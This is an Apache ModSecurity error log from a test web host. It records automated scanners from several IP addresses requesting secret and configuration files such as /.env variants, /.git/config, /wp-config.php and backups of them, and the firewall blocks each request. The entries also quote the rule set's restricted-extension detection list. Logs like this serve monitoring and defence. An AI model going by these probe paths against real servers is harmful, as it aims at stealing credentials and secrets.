[Tue Dec 30 05:52:09.204552 2025] [:error] [pid 1074059] [client 159.65.18.197:57914] [client 159.65.18.197] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aVNaee9oALJ4W8ifGBsD0wAAAAA"]
[Tue Dec 30 05:52:09.204785 2025] [:error] [pid 1074059] [client 159.65.18.197:57914] [client 159.65.18.197] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aVNaee9oALJ4W8ifGBsD0wAAAAA"]
[Tue Dec 30 05:52:09.204938 2025] [:error] [pid 1074059] [client 159.65.18.197:57914] [client 159.65.18.197] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aVNaee9oALJ4W8ifGBsD0wAAAAA"]
[Tue Dec 30 05:52:10.202746 2025] [:error] [pid 1074061] [client 159.65.18.197:57924] [client 159.65.18.197] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVNaejshcYdIl9SnQghAJAAAAAI"]
[Tue Dec 30 05:52:10.202966 2025] [:error] [pid 1074061] [client 159.65.18.197:57924] [client 159.65.18.197] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVNaejshcYdIl9SnQghAJAAAAAI"]
[Tue Dec 30 05:52:10.203140 2025] [:error] [pid 1074061] [client 159.65.18.197:57924] [client 159.65.18.197] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVNaejshcYdIl9SnQghAJAAAAAI"]
[Tue Dec 30 05:52:12.201496 2025] [:error] [pid 1076242] [client 159.65.18.197:57938] [client 159.65.18.197] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVNafC0_a1jZPrTzT4_S3QAAAAc"]
[Tue Dec 30 05:52:12.201737 2025] [:error] [pid 1076242] [client 159.65.18.197:57938] [client 159.65.18.197] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVNafC0_a1jZPrTzT4_S3QAAAAc"]
[Tue Dec 30 05:52:12.201903 2025] [:error] [pid 1076242] [client 159.65.18.197:57938] [client 159.65.18.197] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVNafC0_a1jZPrTzT4_S3QAAAAc"]
[Tue Dec 30 12:08:38.232467 2025] [:error] [pid 1076242] [client 204.76.203.25:33206] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVOyti0_a1jZPrTzT4_TAQAAAAc"]
[Tue Dec 30 12:08:38.232729 2025] [:error] [pid 1076242] [client 204.76.203.25:33206] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVOyti0_a1jZPrTzT4_TAQAAAAc"]
[Tue Dec 30 12:08:38.232888 2025] [:error] [pid 1076242] [client 204.76.203.25:33206] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVOyti0_a1jZPrTzT4_TAQAAAAc"]
[Wed Dec 31 07:29:50.705988 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVTC3lRIYZkOd0KBKLvI2QAAABE"]
[Wed Dec 31 07:29:50.706224 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVTC3lRIYZkOd0KBKLvI2QAAABE"]
[Wed Dec 31 07:29:50.706425 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVTC3lRIYZkOd0KBKLvI2QAAABE"]
[Wed Dec 31 07:29:50.739755 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVTC3lRIYZkOd0KBKLvI2gAAABE"]
[Wed Dec 31 07:29:50.739984 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVTC3lRIYZkOd0KBKLvI2gAAABE"]
[Wed Dec 31 07:29:50.740147 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVTC3lRIYZkOd0KBKLvI2gAAABE"]
[Wed Dec 31 07:29:50.763947 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aVTC3lRIYZkOd0KBKLvI2wAAABE"]
[Wed Dec 31 07:29:50.764086 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aVTC3lRIYZkOd0KBKLvI2wAAABE"]
[Wed Dec 31 07:29:50.764310 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aVTC3lRIYZkOd0KBKLvI2wAAABE"]
[Wed Dec 31 07:29:50.764472 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aVTC3lRIYZkOd0KBKLvI2wAAABE"]
[Wed Dec 31 07:29:50.785995 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aVTC3lRIYZkOd0KBKLvI3AAAABE"]
[Wed Dec 31 07:29:50.786215 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aVTC3lRIYZkOd0KBKLvI3AAAABE"]
[Wed Dec 31 07:29:50.786394 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aVTC3lRIYZkOd0KBKLvI3AAAABE"]
[Wed Dec 31 07:29:50.836581 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aVTC3lRIYZkOd0KBKLvI3QAAABE"]
[Wed Dec 31 07:29:50.836808 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aVTC3lRIYZkOd0KBKLvI3QAAABE"]
[Wed Dec 31 07:29:50.836986 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aVTC3lRIYZkOd0KBKLvI3QAAABE"]
[Wed Dec 31 07:29:50.858853 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aVTC3lRIYZkOd0KBKLvI3gAAABE"]
[Wed Dec 31 07:29:50.859063 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aVTC3lRIYZkOd0KBKLvI3gAAABE"]
[Wed Dec 31 07:29:50.859223 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aVTC3lRIYZkOd0KBKLvI3gAAABE"]
[Wed Dec 31 07:29:50.880448 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVTC3lRIYZkOd0KBKLvI3wAAABE"]
[Wed Dec 31 07:29:50.880643 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVTC3lRIYZkOd0KBKLvI3wAAABE"]
[Wed Dec 31 07:29:50.880782 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVTC3lRIYZkOd0KBKLvI3wAAABE"]
[Wed Dec 31 07:29:50.904441 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aVTC3lRIYZkOd0KBKLvI4AAAABE"]
[Wed Dec 31 07:29:50.904634 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aVTC3lRIYZkOd0KBKLvI4AAAABE"]
[Wed Dec 31 07:29:50.904790 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aVTC3lRIYZkOd0KBKLvI4AAAABE"]
[Wed Dec 31 07:29:50.930681 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aVTC3lRIYZkOd0KBKLvI4QAAABE"]
